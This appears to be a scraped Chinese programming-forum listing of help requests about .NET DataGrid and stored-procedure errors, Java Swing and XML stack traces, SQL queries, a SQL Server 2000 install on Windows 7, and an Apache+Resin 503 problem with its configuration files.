跪求高手解决DataGrid的问题!
我需要通过点击一个DataGrid,从而跳转到另外一个Form,同时把这个Form关闭.于是写了一个DataGrid的click事件,在DataGrid的click事件里要把本Form关掉!点击的DataGrid的时候不会出现问题.但拉动DataGrid的行坐标线和列坐标线的时候会报一个"System.ObjectDisposeException",是说Can acess DataGrid when datatable dispose的错误.有什么好的<em>解决</em>方法? 代码如下!rnrn Private Sub grdTicket_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles grdTicket.Clickrn rn Tryrnrn frmSameWHPick = New SameWHPickrn frmSameWHPick.Show()rnrn m_blnNext = Truern me.Close()rnrn Catch ex As Exceptionrn MessageBox.Show(ex.Message)rn End Tryrn End Sub
跪求高手解决.NET问题
我也用动软整的工程模式 用repeater绑定数据 当运行时就出现这样错误rn public static DataSet RunProcedure(string storedProcName, IDataParameter[] parameters, string tableName)rn rn using (SqlConnection connection = new SqlConnection(connectionString))rn rn DataSet dataSet = new DataSet();rn connection.Open();rn SqlDataAdapter sqlDA = new SqlDataAdapter();rn sqlDA.SelectCommand = BuildQueryCommand(connection, storedProcName, parameters);rn [color=#FF0000]sqlDA.Fill(dataSet, tableName);[/color]这里提示找不到存储过程 'UP_GetDataSet'。 connection.Close();rn return dataSet;rn rnrepeater的代码为:rn //repeatet显示TESTrn string strSQL = "* from T_User";rn DataSet ds = new DataSet();rn ds = STCPGLXT.CommonFunction.DbF.GetTableDataSet(strSQL);rn if (ds.Tables[0].Rows.Count > 0)rn rn rptTest.DataSource = ds;rn rptTest.DataBind();rn rn <em>跪求</em>求<em>高手</em><em>帮忙</em><em>解决</em>!!!!
跪求高手 解决 打印机问题
公司的局域网打印机 能ping通打印机ip地址 但是输入 \\192.168.16.157 windows找不到\\192.168.16.157。输入//192.168.16.157进入打印机的驱动程序安装界面 打印机是富士施乐,打印机挂在服务器上。诚心求教
discuznt安装错误跪求高手解决
我安装了discuznt3.1之后 他让点击进入主页rn我点进去了 什么都没有 这是为什么?rn我用编辑器打开了index.aspx 主页 里面只有这一行代码rn谁能帮帮我rn他数据库什么的都生成了rn我用的是winxp的系统 formwork2.0 + sqlserver2005数据库
跪求高手解决访问FTP服务器
最近我想写一个C#窗口应用程序,要删除ftp服务器上的文件,但是c#中没有直接提供支持ftp服务器的类,是否有<em>高手</em>能<em>帮忙</em><em>解决</em>一下,最好是发个代码,本人将感激不敬!谢谢....
跪求高手解决——急急急
1、在一副扑克里(包括大小王),随便抽取5张牌,然后判断是不是顺子(这5张牌是否连续),大小王可以代替任何一张牌。rn例如,1,2,3,5,大王,这五张牌就是一个顺子,并且J,Q,K,A,2也是一个顺子。rn
跪求高手解决SQL语句
[code=SQL]表rnIXTERMINAL(放映机表)rnrnTML_ID(放映机ID)rnCINEMA_ID(所属院线)rnGROUP_ID(所属放映队)rnrnrnMOVIE_PLAYHIS_INFO(播放历史记录表)rnrnMOVIE_PLAYHIS_IDrnSTART_TIMErnEND_TIMErnTML_ID(与IXTERMINAL.TML_ID多对一关联)rnMOVIE_ID(与MOVIE_INFO.MOVIE_ID多对一关联)rnrnrnMOVIE_INFO(电影表)rnrnMOVIE_IDrnMOVIE_NAMErnVIDEO_LENGTH(视频长度)rnAUDIO_LENGTH(音频长度)rnVIDEO_FORMAT(视音频格式)rnMOVIE_TIME_LENGTH(影片时间长度)rnrnrn查询条件:CINEMA_ID(所属院线),GROUP_ID(所属放映队),START_TIME(开始时间),END_TIME(结束时间) MOVIE_ID(影片标识),MOVIE_NAME(影片名称)rnrn查询显示列表rnrn排行(ROWNUM)影片标识(MOVIE_ID)影片名称(MOVIE_NAME)视频长度(VIDEO_LENGTH) 音频长度(AUDIO_LENGTH)影片时间(MOVIE_TIME_LENGTH) 放映场次(COUNT(MOVIE_PLAYHIS_ID))rnrnrnSQL如何来写?rnrnrn[/code]
跪求高手解决写入数据库问题
我以前是写ASP的,现在开始学VB,一个基本的问题就把我难倒了,<em>帮忙</em>啊啊!帮看看这个代码:rnrn'添加数据rnPrivate Sub cmdinput_Click(Index As Integer)rn sailing_cnrn Set rs = New ADODB.Recordsetrn Dim sqlstr As Stringrn sqlstr = "select * from t_user"rn rs.Open sqlstr, cn, 1, 3rn rs.Fields(1) = txtname.Textrn rs.Fields(2) = txtoicq.Textrn rs.Fields(3) = txtemail.Textrn rs.Fields(4) = txttel.Textrn rs.Updatern rn rn MsgBox "添加数据成功!"rn rnrnEnd Subrn
跪求高手解决!!!万分感谢!!!!
服务器是英文的2003系统,有是会出现这个错误,”HTTP / 1.1 new session failed(HTTP/1.1 新建应用程序(会话)失败)“在网上搜索一下,没发现什么比较权威的解答。该怎么<em>解决</em>啊!!!
没分了,跪求高手解决~~~~~~~~~~~~~``
如何实现自动生成表格的功能?和百分比的小数点后精确到2位?
自定义扩展名解决跪求C++高手解决
请BCB<em>高手</em>指点注册自定义扩展名的API函数,或<em>解决</em>方法
跪求高手帮忙!谢谢高手进来看看!!~~~~~
用VB实现以下功能: rn现在一个窗体,有4个按扭在窗体上!实现4个功能! rn一,点击第一个按扭出现对话框里面写着“你好!” rn二,点击第二个按扭对话框里的字变为“谢谢我很好” rn三,电击第三个按扭对话框里的字变为“你呢?” rn四,点击第四个按扭删除对话框里的字! rn rn有那位寂寞<em>高手</em>能帮我实现这个功能呢?能给出源代码吗?万分感谢!
跪求java高手帮忙解决一个关于jtable异常
由于不可以上传程序源文件,所以只好先把异常贴出来,<em>跪求</em>哪位大虾<em>帮忙</em>看一下,小弟的qq:609357882,添加后好传源文件。谢谢!在线等,急Exception in thread "AWT-EventQueue-0" java.util.NoSuchElementException: Vector Enumerationrn at java.util.Vector$1.nextElement(Vector.java:305)rn at javax.swing.plaf.basic.BasicTableHeaderUI.getPreferredSize(BasicTableHeaderUI.java:778)rn at javax.swing.JComponent.getPreferredSize(JComponent.java:1634)rn at javax.swing.ViewportLayout.preferredLayoutSize(ViewportLayout.java:78)rn at java.awt.Container.preferredSize(Container.java:1599)rn at java.awt.Container.getPreferredSize(Container.java:1584)rn at javax.swing.JComponent.getPreferredSize(JComponent.java:1636)rn at javax.swing.ScrollPaneLayout.layoutContainer(ScrollPaneLayout.java:702)rn at java.awt.Container.layout(Container.java:1421)rn at java.awt.Container.doLayout(Container.java:1410)rn at java.awt.Container.validateTree(Container.java:1507)rn at java.awt.Container.validate(Container.java:1480)rn at javax.swing.RepaintManager.validateInvalidComponents(RepaintManager.java:669)rn at javax.swing.SystemEventQueueUtilities$ComponentWorkRequest.run(SystemEventQueueUtilities.java:124)rn at java.awt.event.InvocationEvent.dispatch(InvocationEvent.java:209)rn at java.awt.EventQueue.dispatchEvent(EventQueue.java:597)rn at java.awt.EventDispatchThread.pumpOneEventForFilters(EventDispatchThread.java:269)rn at java.awt.EventDispatchThread.pumpEventsForFilter(EventDispatchThread.java:184)rn at java.awt.EventDispatchThread.pumpEventsForHierarchy(EventDispatchThread.java:174)rn at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:169)rn at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:161)rn at java.awt.EventDispatchThread.run(EventDispatchThread.java:122)rnException in thread "AWT-EventQueue-0" java.lang.ArrayIndexOutOfBoundsException: 1 >= 1rn at java.util.Vector.elementAt(Vector.java:427)rn at javax.swing.table.DefaultTableColumnModel.getColumn(DefaultTableColumnModel.java:277)rn at javax.swing.plaf.basic.BasicTableHeaderUI.paint(BasicTableHeaderUI.java:632)rn at javax.swing.plaf.ComponentUI.update(ComponentUI.java:143)rn at javax.swing.JComponent.paintComponent(JComponent.java:752)rn at javax.swing.JComponent.paint(JComponent.java:1029)rn at javax.swing.JComponent.paintToOffscreen(JComponent.java:5124)rn at javax.swing.BufferStrategyPaintManager.paint(BufferStrategyPaintManager.java:278)rn at javax.swing.RepaintManager.paint(RepaintManager.java:1224)rn at javax.swing.JComponent._paintImmediately(JComponent.java:5072)rn at javax.swing.JComponent.paintImmediately(JComponent.java:4882)rn at javax.swing.RepaintManager.paintDirtyRegions(RepaintManager.java:785)rn at javax.swing.RepaintManager.paintDirtyRegions(RepaintManager.java:713)rn at javax.swing.RepaintManager.seqPaintDirtyRegions(RepaintManager.java:693)rn at javax.swing.SystemEventQueueUtilities$ComponentWorkRequest.run(SystemEventQueueUtilities.java:125)rn at java.awt.event.InvocationEvent.dispatch(InvocationEvent.java:209)rn at java.awt.EventQueue.dispatchEvent(EventQueue.java:597)rn at java.awt.EventDispatchThread.pumpOneEventForFilters(EventDispatchThread.java:269)rn at java.awt.EventDispatchThread.pumpEventsForFilter(EventDispatchThread.java:184)rn at java.awt.EventDispatchThread.pumpEventsForHierarchy(EventDispatchThread.java:174)rn at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:169)rn at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:161)rn at java.awt.EventDispatchThread.run(EventDispatchThread.java:122)rnException in thread "AWT-EventQueue-0" java.util.NoSuchElementException: Vector Enumerationrn at java.util.Vector$1.nextElement(Vector.java:305)rn at javax.swing.plaf.basic.BasicTableHeaderUI.getPreferredSize(BasicTableHeaderUI.java:778)rn at javax.swing.JComponent.getPreferredSize(JComponent.java:1634)rn at javax.swing.ViewportLayout.preferredLayoutSize(ViewportLayout.java:78)rn at java.awt.Container.preferredSize(Container.java:1599)rn at java.awt.Container.getPreferredSize(Container.java:1584)rn at javax.swing.JComponent.getPreferredSize(JComponent.java:1636)rn at javax.swing.ScrollPaneLayout.layoutContainer(ScrollPaneLayout.java:702)rn at java.awt.Container.layout(Container.java:1421)rn at java.awt.Container.doLayout(Container.java:1410)rn at java.awt.Container.validateTree(Container.java:1507)rn at java.awt.Container.validate(Container.java:1480)rn at javax.swing.RepaintManager.validateInvalidComponents(RepaintManager.java:669)rn at javax.swing.SystemEventQueueUtilities$ComponentWorkRequest.run(SystemEventQueueUtilities.java:124)rn at java.awt.event.InvocationEvent.dispatch(InvocationEvent.java:209)rn at java.awt.EventQueue.dispatchEvent(EventQueue.java:597)rn at java.awt.EventDispatchThread.pumpOneEventForFilters(EventDispatchThread.java:269)rn at java.awt.EventDispatchThread.pumpEventsForFilter(EventDispatchThread.java:184)rn at java.awt.EventDispatchThread.pumpEventsForHierarchy(EventDispatchThread.java:174)rn at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:169)rn at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:161)rn at java.awt.EventDispatchThread.run(EventDispatchThread.java:122)rn
跪求高手帮忙想个解决办法!关于解决应用的方法!!
http://www.asiatalent.com/1.jpgrnrnrn这是小第的做的一个出差管理系统的出差及费用申请页面!rn记录的行数是可以任意设置的!用循环生成行数,保存的时候循环读表单 如果前四项都是rn空的话循环结束 这样做的目的是空数据不保存进数据库了!rnrn一切OK!rnrn但是当我做完了后,公司管理部那边说!有可能一个行程对应5个联系人,其中前两个对应一个客户,后三个对应一个客户,而一个客户可能对应两个项目名称!rnrn比如rnrn起点* 出发日期* 目的地* 到达日期 联系人 电话 客户名称 项目名称rn深圳 2005-6-5 上海 2005-6-7 张三 111 公司一 项目一rn 李四 222 项目二rn 王五 333rn 刘六 444 公司二 项目三 rn 周七 555rnrnrn我当时说要他们另起一行再输入 但是有些内容要重复输入了 没办法!rnrn实际上rn出差人员又不愿意另起一行输入一些重复内容rnrn我改怎么办啊!!!!!!!!急!!rnrn请你们能不能帮我想个<em>解决</em>办法!!!!(尽量不要修改表结构!我真的怕了!这样代码都要从新写)rn
跪求到底出现什么问题!高手帮忙解决!!!
在系统中,session中放入部门的值,request中也有部门的值,但是两个值居然会有时候不同rnrn场景1:页面中传入参数 aa.jsp&groupName=$user.groupName --- user为session中的对象rn 在action中再次利用groupName的值 居然会不同rnrn场景2:在一个页面<em>解决</em>好事情后,将groupName的值放入到数据库,之后同一个session中更新内容,grouoName居然会不同rnrnrn2个问题都是偶然发生差不多1/1000的可能吧rnrn<em>跪求</em><em>解决</em>方法
ext跪求高手帮忙啊,在线等解决
rn rn rn My JSP 'index.jsp' starting pagern rn rn rn rn rn rn rn rn rn rn Ext.onReady(function()rn var newPannel = new Ext.Pannel(rn rn renderTo:Ext.getBody(),rn title:'test面板',rn width:500px,rn height:600px,rn html:'面板',rn );rn );rn rn
跪求高手帮忙看看这个错误怎么解决
错误报告如下,求各位<em>高手</em><em>帮忙</em>看看是什么问题,能告诉我怎<em>解决</em>最好,或者告诉我可能是什么原因引起的rnrnrn[09-12-21 16:17:00:365 GMT+08:00] 00000043 SystemErr R Caused by: org.xml.sax.SAXParseException: prolog 中不允许有内容。rn at org.apache.xerces.util.ErrorHandlerWrapper.createSAXParseException(Unknown Source)rn at org.apache.xerces.util.ErrorHandlerWrapper.fatalError(Unknown Source)rn at org.apache.xerces.impl.XMLErrorReporter.reportError(Unknown Source)rn at org.apache.xerces.impl.XMLErrorReporter.reportError(Unknown Source)rn at org.apache.xerces.impl.XMLScanner.reportFatalError(Unknown Source)rn at org.apache.xerces.impl.XMLDocumentScannerImpl$PrologDispatcher.dispatch(Unknown Source)rn at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl.scanDocument(Unknown Source)rn at org.apache.xerces.parsers.XML11Configuration.parse(Unknown Source)rn at org.apache.xerces.parsers.XML11Configuration.parse(Unknown Source)rn at org.apache.xerces.parsers.XMLParser.parse(Unknown Source)rn at org.apache.xerces.parsers.AbstractSAXParser.parse(Unknown Source)rn at org.jdom.input.SAXBuilder.build(SAXBuilder.java:453)rn at org.jdom.input.SAXBuilder.build(SAXBuilder.java:851)rn at com.icss.km.hyws.supply.util.Util.buildXMLDocument(Util.java:1729)rn at com.icss.km.hyws.supply.util.Util.parseXMLStatus(Util.java:1761)rn at com.icss.km.hyws.supply.service.spring.data.exchage.impl.WeekReqServiceImpl.transSyWeekRequestRet(WeekReqServiceImpl.java:439)rn at com.icss.km.hyws.supply.service.spring.data.exchage.impl.WeekReqServiceImpl.transWeekReqSupply(WeekReqServiceImpl.java:290)rn at com.icss.km.hyws.supply.service.spring.data.exchage.impl.PreContractDEService11320301Impl.transSupply(PreContractDEService11320301Impl.java:89)rn at com.icss.km.hyws.supply.service.spring.data.exchage.impl.PreContractDEService11320301Impl.exportByPrecontract(PreContractDEService11320301Impl.java:139)rn at sun.reflect.GeneratedMethodAccessor2585.invoke(Unknown Source)rn at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)rn at java.lang.reflect.Method.invoke(Method.java:585)rn at org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:287)rn at org.springframework.aop.framework.ReflectiveMethodInvocation.invokeJoinpoint(ReflectiveMethodInvocation.java:181)rn at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:148)rn at com.icss.km.hyws.supply.Logger.LogAroundAdvice.invoke(LogAroundAdvice.java:32)rn at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:170)rn at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96)rn at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:170)rn at org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:176)rn at $Proxy379.exportByPrecontract(Unknown Source)rn at com.icss.km.hyws.supply.extui.preplan.UIPreContractAudit.exportPrecontract(UIPreContractAudit.java:1214)rn at sun.reflect.GeneratedMethodAccessor2584.invoke(Unknown Source)rn at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)rn at java.lang.reflect.Method.invoke(Method.java:585)rn at org.directwebremoting.impl.ExecuteAjaxFilter.doFilter(ExecuteAjaxFilter.java:34)rn at org.directwebremoting.impl.DefaultRemoter$1.doFilter(DefaultRemoter.java:310)rn at org.directwebremoting.impl.DefaultRemoter.execute(DefaultRemoter.java:313)rn at org.directwebremoting.impl.DefaultRemoter.execute(DefaultRemoter.java:172)rn at org.directwebremoting.servlet.UrlProcessor.handle(UrlProcessor.java:135)rn at org.directwebremoting.servlet.DwrServlet.doPost(DwrServlet.java:227)rn at javax.servlet.http.HttpServlet.service(HttpServlet.java:763)rn at javax.servlet.http.HttpServlet.service(HttpServlet.java:856)rn at com.ibm.ws.cache.servlet.ServletWrapper.serviceProxied(ServletWrapper.java:282)rn at com.ibm.ws.cache.servlet.CacheHook.handleFragment(CacheHook.java:459)rn at com.ibm.ws.cache.servlet.CacheHook.handleServlet(CacheHook.java:265)rn at com.ibm.ws.cache.servlet.ServletWrapper.service(ServletWrapper.java:262)rn at com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1143)rn at com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1084)rn at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:145)rn at com.icss.resourceone.sso.client.SSOClient.doFilter(SSOClient.java:181)rn at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:190)rn at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:130)rn at com.icss.resourceone.sdk.SdkFilter.doFilter(SdkFilter.java:150)rn at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:190)rn at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:130)rn at com.icss.j2ee.servlet.filter.ChangeReqEncoding.doFilter(ChangeReqEncoding.java:49)rn at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:190)rn at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:130)rn at com.ibm.ws.webcontainer.filter.WebAppFilterChain._doFilter(WebAppFilterChain.java:87)rn at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:832)rn at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:679)rn at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:587)rn at com.ibm.ws.wswebcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:481)rn at com.ibm.ws.webcontainer.webapp.WebApp.handleRequest(WebApp.java:3453)rn at com.ibm.ws.webcontainer.webapp.WebGroup.handleRequest(WebGroup.java:267)rn at com.ibm.ws.webcontainer.WebContainer.handleRequest(WebContainer.java:815)rn at com.ibm.ws.wswebcontainer.WebContainer.handleRequest(WebContainer.java:1466)rn at com.ibm.ws.webcontainer.channel.WCChannelLink.ready(WCChannelLink.java:119)rn at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleDiscrimination(HttpInboundLink.java:458)rn at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleNewInformation(HttpInboundLink.java:387)rn at com.ibm.ws.http.channel.inbound.impl.HttpICLReadCallback.complete(HttpICLReadCallback.java:102)rn at com.ibm.ws.tcp.channel.impl.AioReadCompletionListener.futureCompleted(AioReadCompletionListener.java:165)rn at com.ibm.io.async.AbstractAsyncFuture.invokeCallback(AbstractAsyncFuture.java:217)rn at com.ibm.io.async.AsyncChannelFuture.fireCompletionActions(AsyncChannelFuture.java:161)rn at com.ibm.io.async.AsyncFuture.completed(AsyncFuture.java:136)rn at com.ibm.io.async.ResultHandler.complete(ResultHandler.java:196)rn at com.ibm.io.async.ResultHandler.runEventProcessingLoop(ResultHandler.java:751)rn at com.ibm.io.async.ResultHandler$2.run(ResultHandler.java:881)rn at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1473)
高分跪求高手帮忙解决WIN7下安装SQL2000的问题
以前用的是XP,SQL2000能安装,后来装了WIN7旗舰版后装SQL2000就出了个问题,rnLOG如下rn2010-06-25 00:12:20.07 spid4 索引(用于 Northwind.Employees)已还原。rn2010-06-25 00:12:20.08 spid4 索引(用于 Northwind.Categories)已还原。rn2010-06-25 00:12:20.10 spid4 索引(用于 Northwind.Customers)已还原。rn2010-06-25 00:12:20.12 spid4 索引(用于 Northwind.Suppliers)已还原。rn2010-06-25 00:12:20.64 spid4 已成功更改默认排序规则。rn2010-06-25 00:12:20.65 spid4 恢复完成。rn2010-06-25 00:12:20.65 spid4 Warning: override, autoexec procedures skipped.rn2010-06-25 00:12:54.76 spid4 由于服务控制管理器发出了“停止”请求,SQL Server 将终止运行。rnrn大概在 安装数据库服务器的时候出现的错误,导致不能继续安装,rn
apache+resin+Unix间歇性发作503,跪求高手帮忙解决,急急急!!!
服务器是Unix下[b]apache2.2.10[/b]+[b]resin3.1.8[/b]的配置,apache和resin均正常启动,web程序正常运行,但[b]偶尔[/b]浏览器向服务器发送请求发生[b]503[/b]错误,该错误常发生在浏览器登陆后闲置一段时间后,但无规律,重启也不能<em>解决</em>。此错误已困扰已久但毫无头绪,非常期待<em>高手</em><em>帮忙</em><em>解决</em>,也欢迎大家一起讨论。apache和resin配置文件如下:rn[b]apache的httpd.conf:[/b]rnServerRoot "/data/apache"rnrnListen 80rnrnLoadModule authn_file_module modules/mod_authn_file.sornLoadModule authn_dbm_module modules/mod_authn_dbm.sornLoadModule authn_anon_module modules/mod_authn_anon.sornLoadModule authn_dbd_module modules/mod_authn_dbd.sornLoadModule authn_default_module modules/mod_authn_default.sornLoadModule authz_host_module modules/mod_authz_host.sornLoadModule authz_groupfile_module modules/mod_authz_groupfile.sornLoadModule authz_user_module modules/mod_authz_user.sornLoadModule authz_dbm_module modules/mod_authz_dbm.sornLoadModule authz_owner_module modules/mod_authz_owner.sornLoadModule authz_default_module modules/mod_authz_default.sornLoadModule auth_basic_module modules/mod_auth_basic.sornLoadModule auth_digest_module modules/mod_auth_digest.sornLoadModule dbd_module modules/mod_dbd.sornLoadModule dumpio_module modules/mod_dumpio.sornLoadModule ext_filter_module modules/mod_ext_filter.sornLoadModule include_module modules/mod_include.sornLoadModule filter_module modules/mod_filter.sornLoadModule substitute_module modules/mod_substitute.sornLoadModule deflate_module modules/mod_deflate.sornLoadModule log_config_module modules/mod_log_config.sornLoadModule log_forensic_module modules/mod_log_forensic.sornLoadModule logio_module modules/mod_logio.sornLoadModule env_module modules/mod_env.sornLoadModule mime_magic_module modules/mod_mime_magic.sornLoadModule cern_meta_module modules/mod_cern_meta.sornLoadModule expires_module modules/mod_expires.sornLoadModule headers_module modules/mod_headers.sornLoadModule ident_module modules/mod_ident.sornLoadModule usertrack_module modules/mod_usertrack.sornLoadModule unique_id_module modules/mod_unique_id.sornLoadModule setenvif_module modules/mod_setenvif.sornLoadModule version_module modules/mod_version.sornLoadModule proxy_module modules/mod_proxy.sornLoadModule proxy_connect_module modules/mod_proxy_connect.sornLoadModule proxy_ftp_module modules/mod_proxy_ftp.sornLoadModule proxy_http_module modules/mod_proxy_http.sornLoadModule proxy_ajp_module modules/mod_proxy_ajp.sornLoadModule proxy_balancer_module modules/mod_proxy_balancer.sornLoadModule mime_module modules/mod_mime.sornLoadModule dav_module modules/mod_dav.sornLoadModule status_module modules/mod_status.sornLoadModule autoindex_module modules/mod_autoindex.sornLoadModule asis_module modules/mod_asis.sornLoadModule info_module modules/mod_info.sornLoadModule cgid_module modules/mod_cgid.sornLoadModule dav_fs_module modules/mod_dav_fs.sornLoadModule vhost_alias_module modules/mod_vhost_alias.sornLoadModule negotiation_module modules/mod_negotiation.sornLoadModule dir_module modules/mod_dir.sornLoadModule imagemap_module modules/mod_imagemap.sornLoadModule actions_module modules/mod_actions.sornLoadModule speling_module modules/mod_speling.sornLoadModule userdir_module modules/mod_userdir.sornLoadModule alias_module modules/mod_alias.sornLoadModule rewrite_module modules/mod_rewrite.sornrnrnrnrnUser nobodyrnGroup nobodyrnrnrnrnrnServerAdmin admin@gmail.comrnrnServerName 127.0.0.1rnrnDocumentRoot "/data/webapp"rnrnrn Options FollowSymLinksrnrnrnrn Options Indexes FollowSymLinks rn AllowOverride Nonernrnrnrn DirectoryIndex index.html index.jsprnrnrnrn Order allow,denyrn Deny from allrn Satisfy AllrnrnrnErrorLog "logs/error_log"rnLogLevel warnrnrnrn LogFormat "%h %l %u %t \"%r\" %>s %b \"%Refereri\" \"%User-Agenti\"" combinedrn LogFormat "%h %l %u %t \"%r\" %>s %b" commonrn rn LogFormat "%h %l %u %t \"%r\" %>s %b \"%Refereri\" \"%User-Agenti\" %I %O" combinediorn rnrnrn rn ScriptAlias /cgi-bin/ "/data/apache/cgi-bin/"rnrnrnDefaultType text/plainrnrn rn TypesConfig conf/mime.typesrn AddType application/x-compress .Zrn AddType application/x-gzip .gz .tgzrnrnrnrnSSLRandomSeed startup builtinrnSSLRandomSeed connect builtinrnrnrnUseCanonicalName OnrnDefaultType text/plainrnHostnameLookups OffrnErrorDocument 503 /shutdown.htmlrnServerSignature OnrnErrorLog /data/apache/logs/error_logrnLogLevel critrnLogFormat "%h %l %u %t \"%r\" %>s %b \"%Refereri\" \"%User-Agenti\"" combinedrnLogFormat "%h %l %u %t \"%r\" %>s %b" commonrnLogFormat "%Refereri -> %U" refererrnLogFormat "%User-agenti" agentrnrnrn TypesConfig /data/apache/conf/mime.typesrnrnrnrn MIMEMagicFile /data/apache/conf/magicrnrnrnrn IndexOptions FancyIndexingrn AddIconByEncoding (CMP,/icons/compressed.gif) x-compress x-gziprn AddIconByType (TXT,/icons/text.gif) text/*rn AddIconByType (IMG,/icons/image2.gif) image/*rn AddIconByType (SND,/icons/sound2.gif) audio/*rn AddIconByType (VID,/icons/movie.gif) video/*rn AddIcon /icons/binary.gif .bin .exern AddIcon /icons/binhex.gif .hqxrn AddIcon /icons/tar.gif .tarrn AddIcon /icons/world2.gif .wrl .wrl.gz .vrml .vrm .ivrn AddIcon /icons/compressed.gif .Z .z .tgz .gz .ziprn AddIcon /icons/a.gif .ps .ai .epsrn AddIcon /icons/layout.gif .html .shtml .htm .pdfrn AddIcon /icons/text.gif .txtrn AddIcon /icons/c.gif .crn AddIcon /icons/p.gif .pl .pyrn AddIcon /icons/f.gif .forrn AddIcon /icons/dvi.gif .dvirn AddIcon /icons/uuencoded.gif .uurn AddIcon /icons/script.gif .conf .sh .shar .csh .ksh .tclrn AddIcon /icons/tex.gif .texrn AddIcon /icons/bomb.gif corern AddIcon /icons/back.gif ..rn AddIcon /icons/hand.right.gif READMErn AddIcon /icons/folder.gif ^^DIRECTORY^^rn AddIcon /icons/blank.gif ^^BLANKICON^^rn DefaultIcon /icons/unknown.gifrn ReadmeName README.htmlrn HeaderName HEADER.htmlrnrnrnrn AddLanguage da .dkrn AddLanguage nl .nlrn AddLanguage en .enrn AddLanguage et .eern AddLanguage fr .frrn AddLanguage de .dern AddLanguage el .elrn AddLanguage he .hern AddCharset ISO-8859-8 .iso8859-8rn AddLanguage it .itrn AddLanguage ja .jarn AddCharset ISO-2022-JP .jisrn AddLanguage kr .krrn AddCharset ISO-2022-KR .iso-krrn AddLanguage nn .nnrn AddLanguage no .norn AddLanguage pl .porn AddCharset ISO-8859-2 .iso-plrn AddLanguage pt .ptrn AddLanguage pt-br .pt-brrn AddLanguage ltz .lurn AddLanguage ca .carn AddLanguage es .esrn AddLanguage sv .svrn AddLanguage cs .cz .csrn AddLanguage ru .rurn AddLanguage zh-TW .zh-twrn AddCharset Big5 .Big5 .big5rn AddCharset WINDOWS-1251 .cp-1251rn AddCharset CP866 .cp866rn AddCharset ISO-8859-5 .iso-rurn AddCharset KOI8-R .koi8-rrn AddCharset UCS-2 .ucs2rn AddCharset UCS-4 .ucs4rn AddCharset UTF-8 .utf8rn rn LanguagePriority en da nl et fr de el it ja kr no pl pt pt-br ru ltz ca es sv twrn rn AddType application/x-tar .tgzrn AddEncoding x-compress .Zrn AddEncoding x-gzip .gz .tgzrnrnrnrn BrowserMatch "Mozilla/2" nokeepalivern BrowserMatch "MSIE 4\.0b2;" nokeepalive downgrade-1.0 force-response-1.0rn BrowserMatch "RealPlayer 4\.0" force-response-1.0rn BrowserMatch "Java/1\.0" force-response-1.0rn BrowserMatch "JDK/1\.0" force-response-1.0rnrnrnLoadModule caucho_module modules/mod_caucho.sornResinConfigServer localhost 6888rn rn ServerName xxxxx.comrn DocumentRoot /data/webapprn rn[b]resin.conf:[/b]rnrn rn rn rn rn rn rnrn rn rn rn rnrn 2srn rnrn rn /data/resin_vhostrn rn -Xmx2048Mrn -Xms2048Mrn -Xmn1024Mrn -Xss128Krn -XX:+UseConcMarkSweepGCrn -XX:CMSFullGCsBeforeCompaction=5rn -XX:+UseCMSCompactAtFullCollection rn -XX:MaxPermSize=512Mrn -XX:PermSize=256Mrn 1Mrn 5000rn 60srn 512rn 400srn rnrn rn rn rn rn .......................rn rnrn rn rn rnrn rn
启动vs出现的问题,跪求高手帮忙解决
我用的是vs .net 2003 ,我刚装好,想新建项目,点了asp.net web应用程序后弹出错误,说“visual studio .net以检测到到指定的web服务器运行的不是asp .net1.1版,您将无法运行asp.net web饮用程序或服务”。不知道什么原因阿。<em>跪求</em><em>高手</em><em>帮忙</em><em>解决</em>阿。
跪求高手帮忙解决 3des加密问题!(急急急急急)
